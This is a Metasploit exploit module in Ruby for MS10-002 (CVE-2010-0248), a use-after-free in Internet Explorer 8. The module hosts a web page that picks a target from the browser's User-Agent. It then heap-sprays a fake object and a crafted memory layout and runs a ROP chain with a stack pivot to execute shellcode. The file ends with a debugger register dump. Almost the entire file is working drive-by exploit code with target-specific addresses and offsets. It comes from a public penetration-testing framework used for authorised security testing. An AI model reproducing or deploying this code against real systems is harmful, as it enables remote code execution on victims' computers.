modules/exploits/windows/browser/ms10_002_ie_object.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free",
'Description' => %q{
This module exploits a vulnerability found in Internet Explorer's
mshtml component. Due to the way IE handles objects in memory, it is
possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
to be used even after it gets freed, therefore allowing remote code
execution under the context of the user.
This particular vulnerability was also one of 2012's Pwn2Own
challenges, and was later explained by Peter Vreugdenhil with exploitation
details. Instead of Peter's method, this module uses heap spraying like
the 99% to store a specially crafted memory layout before re-using the
freed memory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup
'juan vazquez', # Metasploit
'sinn3r' # Metasploit
],
'References' =>
[
[ 'MSB', 'MS10-002'],
[ 'CVE', '2010-0248' ],
[ 'OSVDB', '61914'],
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],
[ 'ZDI', '10-014']
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],
[ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ]
],
'Privileged' => false,
'DisclosureDate' => '2010-01-21',
'DefaultTarget' => 0))
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[1] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[2] #IE 8 on Windows 7 SP1 with JRE
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
print_status("Target selected: #{my_target.name}")
js_code = build_javascript(my_target)
html = %Q|
<html>
<head>
<script>
#{js_code}
</script>
</head>
<body onLoad="window.setTimeout(Start,100);" id="bodyid">
<table id="tableid">
<tr><th id="thid"></th></tr>
<tr id="trid"><td id="tdid"></td></tr>
</table>
</body>
</html>
|
print_status("Sending HTML")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def build_javascript(my_target)
p = get_payload(my_target)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
randnop = rand_text_alpha(rand(100) + 1)
# The exploit will try to take up the freed memory
# with a fake item before the reuse
fake_item = [
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
0x0c0c003c, # pointer to c_table_cell
junk,
junk,
junk,
0x0c0c0050, # pointer to c_cache_item
junk,
junk,
].pack("V*")
fake_item_js = Rex::Text.to_unescape(fake_item)
# Here start the crafted layout of the memory
# which will be sprayed to get code execution
# IE 8 => Spray be sprayed into 0c0c0024
memory_layout = [
junk,
junk,
junk,
junk,
junk,
junk,
0x0c0c0040, # ----- points to 0x0c0c0040
0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c
junk,
junk,
0x00000000, # Allows to bypass CTableCell::GetAAcolSpan
junk, # Stored at 0c0c0c50
junk,
junk,
0x0c0c0078,
junk,
junk,
junk,
junk,
junk,
0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)
0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster
].pack("V*")
memory_layout_js = Rex::Text.to_unescape(memory_layout)
# Steps:
# 1. Force the free.
# 2. Try to reuse the freed memory with a fake item.
# The fake item store crafted pointers to the
# memory which will be sprayed on step 3.
# 3. Heap Spray: Shellcode + crafted memory layout to
# get execution flow when the memory freed in step 1
# is reused in step 4.
# 4. Force the memory reuse.
spray = <<-JS
function Start() {
var fake_items = unescape("#{fake_item_js}");
while (fake_items.length < 0x1000) fake_items+= fake_items;
var fake_item = fake_items.substring(0, (96-6)/2);
var code = unescape("#{js_code}");
var memory_layout = unescape("#{memory_layout_js}")
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block_shell = shellcode.substring(0, (0x80000-6)/2);
var heap = new heapLib.ie(0x20000);
var TableClone = document.getElementById('tableid').cloneNode(1);
var TableCellUrns = TableClone.cells.urns('a');
var bla = TableClone.cells.item(1);
var TableCellUrnsTags = TableCellUrns.tags('a');
TableClone.outerText = 'a';
heap.gc();
for(i = 0; i < 30; i++) {
heap.alloc(fake_item);
}
for (var i=1; i < 0x1C2; i++) {
heap.alloc(block_shell);
}
Result = TableClone.cells;
Result = TableCellUrnsTags.item(1);
}
JS
spray = heaplib(spray, {:noobfu => true})
return spray
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
def get_payload(t)
p = make_nops(46)
p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
p << [t.ret].pack("V") # Stack Pivot
p << payload.encoded
case t['Rop']
when :msvcrt
rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
else
rop_payload = generate_rop_payload('java', p)
end
return rop_payload
end
end
=begin
(694.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff
eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!WriteProcessMemory+0x6d:
7c8022cf cc int 3
=end